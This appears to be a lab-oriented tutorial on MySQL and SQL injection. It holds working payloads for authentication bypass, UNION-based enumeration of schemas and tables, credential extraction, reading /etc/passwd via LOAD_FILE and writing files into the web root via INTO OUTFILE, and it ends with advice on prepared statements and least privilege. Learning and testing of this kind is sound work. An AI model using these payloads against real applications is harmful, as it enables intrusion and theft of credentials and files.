On this page 31 sections
  1. Understand SQL before SQL injection
  2. Connect to MySQL
  3. Navigate databases
  4. Explore tables and columns
  5. Read data with SELECT
  6. Filter results
  7. Sort and limit output
  8. Boolean logic matters
  9. What SQL injection changes
  10. Testing input boundaries
  11. Authentication bypass concept
  12. Why comments are useful
  13. UNION-based SQL injection
  14. Find the number of columns
  15. Confirm the column count with UNION
  16. Identify visible columns
  17. Fingerprint MySQL
  18. Identify the current database
  19. INFORMATION_SCHEMA
  20. Enumerate databases
  21. Enumerate tables
  22. Enumerate columns
  23. Retrieve data from another database
  24. Identify the current MySQL user
  25. Inspect database privileges
  26. Understand secure_file_priv
  27. Reading local files
  28. Writing files from MySQL
  29. Think in stages
  30. How to prevent SQL injection
  31. Key takeaway
01

Understand SQL before SQL injection

SQL injection becomes much easier to understand when the underlying SQL syntax is clear. A web application usually builds queries to read or modify data. If user-controlled input is inserted into those queries without proper parameterisation, that input may change the structure or logic of the SQL statement.

02

Connect to MySQL

The MySQL client can connect directly to a database server using a username, host and port. The -p option asks for the password interactively.

Connect to MySQL
mysql -u root -h db.sam0x.me -P 3306 -p
03

Navigate databases

A MySQL server can contain multiple databases. SHOW DATABASES lists them, while USE changes the active database for subsequent queries.

List databases
SHOW DATABASES;
Select a database
USE users;
04

Explore tables and columns

Once a database is selected, SHOW TABLES reveals the tables available in that database. DESCRIBE shows the structure of a table, including its columns and data types.

List tables
SHOW TABLES;
Inspect table structure
DESCRIBE logins;
05

Read data with SELECT

SELECT retrieves data from a table. The asterisk returns every column, while specifying column names limits the output to the fields that are actually needed.

Select every column
SELECT * FROM logins;
Select specific columns
SELECT username, password FROM logins;
06

Filter results

WHERE restricts the rows returned by a query. LIKE performs pattern matching, and the percent character acts as a wildcard in MySQL.

Filter by condition
SELECT * FROM logins WHERE id = 1;
Find usernames starting with admin
SELECT * FROM logins WHERE username LIKE 'admin%';
07

Sort and limit output

ORDER BY controls the order of returned rows. ASC sorts ascending and DESC descending. LIMIT restricts how many rows MySQL returns and can also specify an offset.

Sort ascending
SELECT * FROM logins ORDER BY id ASC;
Sort descending
SELECT * FROM logins ORDER BY id DESC;
Return only two rows
SELECT * FROM logins LIMIT 2;
Return two rows after an offset
SELECT * FROM logins LIMIT 1, 2;
08

Boolean logic matters

SQL conditions are evaluated using operators such as =, !=, LIKE, NOT, AND and OR. Understanding operator precedence is important because an injected OR condition can change whether the WHERE clause evaluates to true or false.

Simple boolean condition
SELECT * FROM logins WHERE username = 'sam0x' AND active = 1;
09

What SQL injection changes

Consider an application that builds a query by directly concatenating a username supplied by the user. If that value contains SQL syntax, the resulting statement may no longer represent the query the developer intended. SQL injection is therefore not simply inserting strange characters: it is changing the structure or logic of the database query.

Example vulnerable query
SELECT * FROM users WHERE username = '$username' AND password = '$password';
10

Testing input boundaries

One of the first signs of SQL injection can appear when a quote changes the application response or produces a database error. Quotes matter because applications frequently place user input inside SQL string literals.

Quote test
'
11

Authentication bypass concept

If user input becomes part of an authentication query, a boolean expression that always evaluates to true may alter the WHERE condition. SQL comments can also remove the remainder of the original query. The exact payload depends on the surrounding SQL syntax.

Boolean example
admin' OR '1'='1
Example using a comment
admin')-- -
12

Why comments are useful

After injecting valid SQL syntax, the rest of the application query may still contain characters that cause an error. MySQL comments can cause the remaining portion of the original query to be ignored. The -- comment syntax normally requires whitespace after the two hyphens, which is why examples often use -- -.

MySQL comment pattern
-- -
13

UNION-based SQL injection

UNION combines the result of one SELECT statement with another. For UNION injection to work, both SELECT statements must return a compatible number of columns, and corresponding values need compatible data types.

14

Find the number of columns

Before constructing a UNION query, determine how many columns the original SELECT returns. ORDER BY can be incremented until the application produces an error, indicating that the requested column position no longer exists.

Test first column
' ORDER BY 1-- -
Increase the position
' ORDER BY 2-- -
Continue until the response changes
' ORDER BY 3-- -
15

Confirm the column count with UNION

Another technique is to submit numbered values through UNION SELECT. If the number of supplied values does not match the original query, MySQL returns an error. Once the column count matches, the UNION query can execute.

Three-column example
cn' UNION SELECT 1,2,3-- -
Four-column example
cn' UNION SELECT 1,2,3,4-- -
16

Identify visible columns

Numbered UNION values can also reveal which columns are rendered back into the HTTP response. If the page displays one of the numbers, that position can later be replaced with database information.

Display numbered values
cn' UNION SELECT 1,2,3,4-- -
17

Fingerprint MySQL

@@version returns the MySQL server version when query results are visible. SLEEP() can produce a controlled delay and is useful for understanding situations where the application does not directly display database output.

Return MySQL version
SELECT @@version;
Version through UNION
cn' UNION SELECT 1,@@version,3,4-- -
Time-based behaviour
SELECT SLEEP(5);
18

Identify the current database

The database() function returns the database currently selected by the application connection.

Current database
cn' UNION SELECT 1,database(),2,3-- -
19

INFORMATION_SCHEMA

MySQL exposes metadata through INFORMATION_SCHEMA. Instead of guessing database, table and column names, this metadata can describe the structure of the server itself.

20

Enumerate databases

INFORMATION_SCHEMA.SCHEMATA contains database names. The schema_name column can therefore be queried to list databases visible to the current MySQL account.

List database names
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
21

Enumerate tables

INFORMATION_SCHEMA.TABLES contains table metadata. Filtering by table_schema limits the output to a specific database.

List tables from the dev database
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -
22

Enumerate columns

After identifying an interesting table, INFORMATION_SCHEMA.COLUMNS can reveal its column names. This provides the structure needed before querying the table itself.

List columns from credentials
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
23

Retrieve data from another database

MySQL supports fully qualified table names in the form database.table. Once the database, table and columns are known, a query can reference them directly.

Read credential columns in a lab
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -
24

Identify the current MySQL user

The user() function shows the account associated with the current database connection. This is important because the account permissions determine what the application can access.

Current database user
cn' UNION SELECT 1,user(),3,4-- -
25

Inspect database privileges

The impact of SQL injection depends heavily on database permissions. INFORMATION_SCHEMA.USER_PRIVILEGES can show privileges available to database accounts, while mysql.user may expose administrative attributes when the current user has permission to read it.

Inspect user privileges
cn' UNION SELECT 1,grantee,privilege_type,is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Check SUPER privilege
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- -
26

Understand secure_file_priv

MySQL can restrict file import and export operations through secure_file_priv. Depending on its configuration and the database account permissions, file operations may be restricted to one directory or disabled.

Inspect secure_file_priv
cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -
27

Reading local files

MySQL LOAD_FILE() can read a file that the database process can access when the account has the necessary privileges and the server configuration allows it. This is why database accounts should have the minimum privileges required by the application.

Read a local file in a controlled lab
cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
28

Writing files from MySQL

SELECT ... INTO OUTFILE can create a file on the database server when MySQL permissions, operating-system permissions and secure_file_priv allow it. This significantly increases the impact of a SQL injection vulnerability and should normally be prevented by least-privilege database configuration.

Write a harmless proof file
SELECT 'sam0x SQLi lab' INTO OUTFILE '/var/www/html/proof.txt';
29

Think in stages

A structured SQL injection assessment is easier to understand than trying random payloads. First determine whether input affects SQL syntax, then identify the query structure, determine the column count, locate visible output, fingerprint the DBMS and enumerate metadata only as far as necessary for the lab objective.

1. Test the input boundary
'
2. Determine column count
' ORDER BY 1-- -
3. Confirm UNION structure
cn' UNION SELECT 1,2,3,4-- -
4. Identify the database
cn' UNION SELECT 1,database(),2,3-- -
30

How to prevent SQL injection

The primary defence is to keep user data separate from SQL syntax by using parameterised queries or prepared statements. Applications should also validate input, avoid exposing detailed database errors, run with a least-privilege database account and avoid granting unnecessary FILE or administrative privileges.

PHP prepared statement example
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");\n$stmt->execute([$username]);
31

Key takeaway

SQL injection is fundamentally a query-construction problem. Learning SQL syntax, boolean logic and database metadata makes the vulnerability much easier to understand. UNION injection is only one technique; the real objective is to determine how user input influences the query and what privileges the application database account actually has.